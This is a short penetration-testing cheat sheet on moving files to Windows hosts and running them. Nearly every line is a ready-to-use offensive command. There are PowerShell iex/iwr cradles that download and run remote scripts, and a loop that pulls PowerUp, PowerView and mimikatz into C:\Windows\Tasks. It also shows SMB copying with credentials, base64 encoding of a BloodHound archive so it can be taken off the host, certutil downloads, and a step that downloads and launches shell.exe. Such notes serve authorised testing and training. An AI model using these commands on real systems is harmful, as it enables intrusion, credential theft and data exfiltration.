File Transfer & Execution

Linux to Windows

Bulk File Transfer

iex(iwr -uri 192.168.1.2/bulk.ps1 -usebasicparsing)
$baseUrl = "http://192.168.1.2/"
$fileNames = @("PowerUp.ps1", "PowerView.ps1", "mimikatz.exe")
$downloadPath = "C:\Windows\Tasks"

foreach ($fileName in $fileNames) {
    $url = $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}

SMB

net use \\192.168.x.y /user:root password

copy test.zip  \\192.168.x.y\visualstudio

Base64

[Convert]::ToBase64String((Get-Content -path "C:\Users\Administrator\Desktop\ilfreight_bloodhound.zip" -Encoding byte))

base64 -d test.txt  > ilfreight_bloodhound.zip

Powershell Basic Download

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.2/PowerView.ps1','C:\Windows\Tasks\PowerView.ps1')"

Powershell Execute Directly

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/PowerView.ps1');

Download and execute a shell in another process

iwr -uri http://192.168.1.2/shell.exe -OutFile shell.exe

Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe

Download Files

certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]

Last updated